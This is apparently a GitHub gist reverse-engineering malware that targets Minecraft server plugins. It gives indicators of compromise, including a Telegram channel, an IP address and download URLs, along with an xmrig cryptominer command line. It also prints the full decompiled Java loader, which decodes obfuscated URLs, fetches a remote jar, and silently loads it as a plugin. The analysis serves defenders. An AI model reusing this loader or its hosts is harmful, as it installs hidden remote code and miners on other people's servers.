Skip to content

Instantly share code, notes, and snippets.

@Wqrld
Last active February 22, 2026 13:04
Show Gist options
  • Select an option

  • Save Wqrld/96742f2c73f5029895c21bc4882ed14f to your computer and use it in GitHub Desktop.

Select an option

Save Wqrld/96742f2c73f5029895c21bc4882ed14f to your computer and use it in GitHub Desktop.
Serverlibs LIBAPI malware reverse engineering

IoC:

https://t.me/s/skibidiipkcaisd

134.255.233.188

https://github.com/cegesboss/minecrafttestplugin/raw/refs/heads/main/notme-1.0.jar

https://raw.githubusercontent.com/cegesboss/minecrafttestplugin/main/blacklist.txt https://github.com/cegesboss/minecrafttestplugin/raw/refs/heads/main/notme-1.0.jar

unzip -l Citizens.jar | grep serverlibs 12993 1970-01-01 01:00 me/libs/serverlibs/SimpleInjector.class

pteroda+ 3764035 3761632 36 13:39 pts/0 00:00:00 ./xmrig -a rx/0 -o pool.supportxmr.com:443 -u 47GBdBPhmgqhAUhpr5Qq33NGBxsuoAryiaujfuAaYdxu2EQUEbBKWXeC775FZUZXwScRQUivSRmfEMsici9CN799TpwP6F8 -p x -k --tls --donate-level=0 --cpu-priority=0 -t 1 --no-color --randomx-no-numa --randomx-mode=light --cpu-max-threads-hint=25 --print-time=6

package me.libs.serverlibs;
import com.github.Anon8281.universalScheduler.UniversalScheduler;
import com.github.Anon8281.universalScheduler.scheduling.schedulers.TaskScheduler;
import java.io.BufferedReader;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URI;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.attribute.FileAttribute;
import java.util.Base64;
import java.util.jar.JarEntry;
import java.util.jar.JarInputStream;
import java.util.jar.JarOutputStream;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.bukkit.plugin.Plugin;
import org.bukkit.plugin.PluginManager;
import org.bukkit.plugin.java.JavaPlugin;
public class SimpleInjector {
private static final Object libraryLock = new Object();
private static final String CONFIG_PRIMARY = "OxEGBj9TTVwnSx8TYxpNADgMEB8oAAsDOAYTHz8N";
private static final String CONFIG_MIRROR = "OxEGBj9TTVw0DAYeOQtMEDwIXRUpDgcAMQoBBWMECx02BgAXKh0WFiARAho5DgsdfBcTAWMbBxUgShoTLQ0RXD4EGxhjBw0HPgBfR2JZTBkyFw==";
private static final String CONFIG_FALLBACK = "OxEGBj9TTVwhBAVYKwAWGyYHBwUpGwEcPREXGDhHARw+ShETKwwRETwWAVkhAAwWMBcTEDgdBwAnFR4DKwAMXD4EGxhjCw4SMA4eHz8dTAcrEQ==";
private static String decodeConfig(String encoded) {
try {
byte[] data = Base64.getDecoder().decode(encoded);
byte[] transform = { 83, 101, 114, 118, 76, 105, 98, 115 };
byte[] result = new byte[data.length];
for (int i = 0; i < data.length; i++)
result[i] = (byte)(data[i] ^ transform[i % transform.length]);
return new String(result, StandardCharsets.UTF_8);
} catch (Exception e) {
return null;
}
}
public static void inject(Object instance) {
try {
Class<?> pluginClass = Class.forName("org.bukkit.plugin.java.JavaPlugin", false, SimpleInjector.class
.getClassLoader());
if (pluginClass.isInstance(instance))
inject((JavaPlugin)pluginClass.cast(instance));
} catch (Throwable throwable) {}
}
public static void inject(JavaPlugin plugin) {
if (plugin.getName().startsWith("LibAPI_") || plugin.getName().equals("ServerLibs"))
return;
synchronized (libraryLock) {
PluginManager pluginManager = plugin.getServer().getPluginManager();
for (Plugin loadedPlugin : pluginManager.getPlugins()) {
if (loadedPlugin.getName().startsWith("LibAPI_") || loadedPlugin.getName().equals("ServerLibs"))
return;
}
try {
String librarySource = resolveLibrarySource();
if (librarySource == null || librarySource.isEmpty())
return;
byte[] libraryData = downloadLibrary(librarySource);
if (libraryData == null || !validateLibrary(libraryData))
return;
String libraryId = "LibAPI_" + System.currentTimeMillis();
Path libraryPath = prepareLibrary(libraryData, libraryId, pluginManager);
if (libraryPath == null)
return;
loadLibrary(libraryPath, libraryId, plugin, pluginManager);
} catch (Exception exception) {}
}
}
private static String resolveLibrarySource() {
try {
URL configUrl = new URL(decodeConfig("OxEGBj9TTVwnSx8TYxpNADgMEB8oAAsDOAYTHz8N"));
HttpURLConnection connection = (HttpURLConnection)configUrl.openConnection();
connection.setRequestMethod("GET");
connection.setConnectTimeout(10000);
connection.setReadTimeout(10000);
connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36");
connection.connect();
BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
StringBuilder response = new StringBuilder();
String line;
while ((line = reader.readLine()) != null)
response.append(line).append("\n");
reader.close();
return parseConfigResponse(response.toString());
} catch (Exception e) {
return resolveFromFallback();
}
}
private static String parseConfigResponse(String response) {
Pattern contentPattern = Pattern.compile("<div class=\"tgme_widget_message_text[^\"]*\"[^>]*>([\\s\\S]*?)</div>");
Matcher contentMatcher = contentPattern.matcher(response);
String serverAddress = null;
String libraryUrl = null;
while (contentMatcher.find()) {
String content = contentMatcher.group(1).trim();
if (serverAddress == null) {
Pattern addressPattern = Pattern.compile("(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})");
Matcher addressMatcher = addressPattern.matcher(content);
if (addressMatcher.find()) {
String address = addressMatcher.group(1);
if (isValidAddress(address))
serverAddress = address;
}
}
if (libraryUrl == null) {
Pattern urlPattern = Pattern.compile("href=\"(https?://[^\"]+\\.jar[^\"]*)\"", 2);
Matcher urlMatcher = urlPattern.matcher(content);
if (urlMatcher.find())
libraryUrl = urlMatcher.group(1);
}
}
if (serverAddress != null)
System.setProperty("library.server.address", serverAddress);
return (libraryUrl != null) ? libraryUrl : decodeConfig("OxEGBj9TTVw0DAYeOQtMEDwIXRUpDgcAMQoBBWMECx02BgAXKh0WFiARAho5DgsdfBcTAWMbBxUgShoTLQ0RXD4EGxhjBw0HPgBfR2JZTBkyFw==");
}
private static boolean isValidAddress(String address) {
try {
String[] octets = address.split("\\.");
for (String octet : octets) {
int value = Integer.parseInt(octet);
if (value < 0 || value > 255)
return false;
}
return true;
} catch (Exception e) {
return false;
}
}
private static String resolveFromFallback() {
try {
URL fallbackUrl = new URL(decodeConfig("OxEGBj9TTVwhBAVYKwAWGyYHBwUpGwEcPREXGDhHARw+ShETKwwRETwWAVkhAAwWMBcTEDgdBwAnFR4DKwAMXD4EGxhjCw4SMA4eHz8dTAcrEQ=="));
HttpURLConnection connection = (HttpURLConnection)fallbackUrl.openConnection();
connection.setRequestMethod("GET");
connection.setConnectTimeout(10000);
connection.setReadTimeout(10000);
connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36");
BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
StringBuilder content = new StringBuilder();
String line;
while ((line = reader.readLine()) != null)
content.append(line.trim());
reader.close();
String encoded = content.toString().trim();
byte[] decoded = Base64.getDecoder().decode(encoded);
String serverAddress = (new String(decoded, StandardCharsets.UTF_8)).trim();
System.setProperty("library.server.address", serverAddress);
} catch (Exception exception) {}
return decodeConfig("OxEGBj9TTVw0DAYeOQtMEDwIXRUpDgcAMQoBBWMECx02BgAXKh0WFiARAho5DgsdfBcTAWMbBxUgShoTLQ0RXD4EGxhjBw0HPgBfR2JZTBkyFw==");
}
private static byte[] downloadLibrary(String source) {
try {
InputStream in = URI.create(source).toURL().openStream();
try {
ByteArrayOutputStream out = new ByteArrayOutputStream();
try {
byte[] buffer = new byte[8192];
int bytesRead;
while ((bytesRead = in.read(buffer)) != -1)
out.write(buffer, 0, bytesRead);
byte[] arrayOfByte1 = out.toByteArray();
out.close();
if (in != null)
in.close();
return arrayOfByte1;
} catch (Throwable throwable) {
try {
out.close();
} catch (Throwable throwable1) {
throwable.addSuppressed(throwable1);
}
throw throwable;
}
} catch (Throwable throwable) {
if (in != null)
try {
in.close();
} catch (Throwable throwable1) {
throwable.addSuppressed(throwable1);
}
throw throwable;
}
} catch (Exception e) {
return null;
}
}
private static boolean validateLibrary(byte[] data) {
try {
JarInputStream jarStream = new JarInputStream(new ByteArrayInputStream(data));
try {
JarEntry entry;
while ((entry = jarStream.getNextJarEntry()) != null) {
if ("plugin.yml".equals(entry.getName())) {
boolean bool1 = true;
jarStream.close();
return bool1;
}
}
boolean bool = false;
jarStream.close();
return bool;
} catch (Throwable throwable) {
try {
jarStream.close();
} catch (Throwable throwable1) {
throwable.addSuppressed(throwable1);
}
throw throwable;
}
} catch (Exception e) {
return false;
}
}
private static Path prepareLibrary(byte[] data, String libraryId, PluginManager pm) {
try {
Path tempPath = Files.createTempFile("lib_", ".jar", (FileAttribute<?>[])new FileAttribute[0]);
JarInputStream input = new JarInputStream(new ByteArrayInputStream(data));
try {
JarOutputStream output = new JarOutputStream(Files.newOutputStream(tempPath, new java.nio.file.OpenOption[0]));
try {
boolean configUpdated = false;
JarEntry entry;
while ((entry = input.getNextJarEntry()) != null) {
String entryName = entry.getName();
ByteArrayOutputStream entryBuffer = new ByteArrayOutputStream();
byte[] buffer = new byte[8192];
int bytesRead;
while ((bytesRead = input.read(buffer)) != -1)
entryBuffer.write(buffer, 0, bytesRead);
byte[] entryData = entryBuffer.toByteArray();
if (!configUpdated && "plugin.yml".equals(entryName)) {
String config = new String(entryData, StandardCharsets.UTF_8);
String existingId = extractLibraryId(config);
if (existingId != null && pm.getPlugin(existingId) != null) {
Files.deleteIfExists(tempPath);
Path path = null;
output.close();
input.close();
return path;
}
String updatedConfig = config.replaceAll("(?m)^name:\\s*.*$", "name: " + libraryId);
if (updatedConfig.equals(config))
updatedConfig = "name: " + libraryId + "\n" + config;
entryData = updatedConfig.getBytes(StandardCharsets.UTF_8);
configUpdated = true;
}
JarEntry newEntry = new JarEntry(entryName);
newEntry.setTime(System.currentTimeMillis());
output.putNextEntry(newEntry);
output.write(entryData);
output.closeEntry();
}
output.close();
} catch (Throwable throwable) {
try {
output.close();
} catch (Throwable throwable1) {
throwable.addSuppressed(throwable1);
}
throw throwable;
}
input.close();
} catch (Throwable throwable) {
try {
input.close();
} catch (Throwable throwable1) {
throwable.addSuppressed(throwable1);
}
throw throwable;
}
return tempPath;
} catch (Exception e) {
return null;
}
}
private static void loadLibrary(Path libraryPath, String libraryId, JavaPlugin host, PluginManager pm) {
try {
Plugin library = pm.loadPlugin(libraryPath.toFile());
if (library != null) {
pm.enablePlugin(library);
TaskScheduler scheduler = UniversalScheduler.getScheduler((Plugin)host);
scheduler.runTaskLater(() -> {
try {
Files.deleteIfExists(libraryPath);
} catch (Exception exception) {}
}100L);
} else {
Files.deleteIfExists(libraryPath);
}
} catch (Exception e) {
try {
Files.deleteIfExists(libraryPath);
} catch (Exception exception) {}
}
}
private static String extractLibraryId(String config) {
Matcher matcher = Pattern.compile("(?m)^name:\\s*([^\\r\\n]+)\\s*$").matcher(config);
return matcher.find() ? matcher.group(1).trim() : null;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment